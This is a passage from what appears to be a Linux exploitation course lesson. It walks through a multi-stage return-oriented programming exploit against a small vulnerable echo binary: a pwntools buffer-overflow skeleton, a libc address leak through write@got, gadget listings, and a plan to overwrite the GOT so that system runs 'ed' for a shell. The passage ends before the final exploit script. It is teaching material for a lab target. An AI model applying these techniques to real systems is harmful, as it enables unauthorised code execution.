In this section, we will look at crafting a more complicated exploit that relies on multiple stages. Surprisingly, the vulnerable target we are looking at is the most simple of all the ones we have seen so far. It is precisely the lack of flexibility we have with such a simple target that forces us to adopt a more sophiscated exploit strategy.
It is very simple. It simply echoes your input. It is vulnerable to a standard buffer overflow but ASLR and NX are enabled which means the only things you have to work with is read, write, and the gadgets that are present in the tiny binary.
amon@bethany:~/sproink/linux-exploitation-course/lessons/12_multi_stage/build$ ./1_vulnerable
Hello World
Hello World
Crafting the Exploit Step by Step
First, as we always do, we need a skeleton script to give us our EIP control.
#!/usr/bin/python
from pwn import *
def main():
p = process("../build/1_vulnerable")
payload = "A"*28 + p32(0xdeadc0de)
p.send(payload)
p.interactive()
if __name__ == "__main__":
main()
Next, we would like to try and leak a libc address. We can achieve this by creating fake stack frames that execute write(STDOUT, write@got, 4). This will print 4 bytes of the write@got address to stdout which we can receive on our exploit script.
ubuntu@ubuntu-xenial:/vagrant/lessons/12_multi_stage/scripts$ python 2_leak_system.py
[+] Starting local process '../build/1_vulnerable': Done
[*] write_addr: 0xf76569f0
[*] Switching to interactive mode
$ [*] Got EOF while reading in interactive
[*] Process '../build/1_vulnerable' stopped with exit code -11
[*] Got EOF while sending in interactive
The Killing Blow
Now, remember that what we are doing is creating a rop chain with these PLT stubs. However, if we just return into functions after functions, it is not going to work very well since the parameters on the stack are not cleaned up. We have to handle that somehow.
This is where the pop pop ret gadgets come in. They allow us to advance the stack and make sure our faked stack frames are coherent. We need a pop pop pop ret sequence because our write call had 3 parameters.
ubuntu@ubuntu-xenial:/vagrant/lessons/12_multi_stage/build$ ropper --file 1_vulnerable
... snip ..
0x080484e9: pop esi; pop edi; pop ebp; ret;
... snip ..
What should we do next then? What we want to do is overwrite a GOT entry so that we can execute system. Now, we can leverage the fact that a read call is basically an arbitrary write primitive. So our entire rop chain sequence would look something like this:
write(1, write@got, 4) - Leaks the libc address of write
read(0, write@got, 4) - Read 4 bytes of input from us into the write GOT entry.
system(some_cmd) - Execute a command of ours and hopefully get shell
Now, of course we have a possible issue. Since our ROP chain would have to include the address of the command on the first read, we have two choices:
Expend another read sequence to write "/bin/sh" somewhere in memory
Use an alternative command (such as ed)
Option 1 is not feasible as it takes 20 bytes to construct a frame for read. This is a heavily cost when we only have 72 bytes to play with. So, we have to go with Option 2 which is easy enough to get.
gdb-peda$ find ed
Searching for 'ed' in: None ranges
Found 393 results, display max 256 items:
1_vulnerable : 0x8048243 --> 0x72006465 ('ed')
1_vulnerable : 0x8049243 --> 0x72006465 ('ed')
With all of the information in hand, we can write our exploit: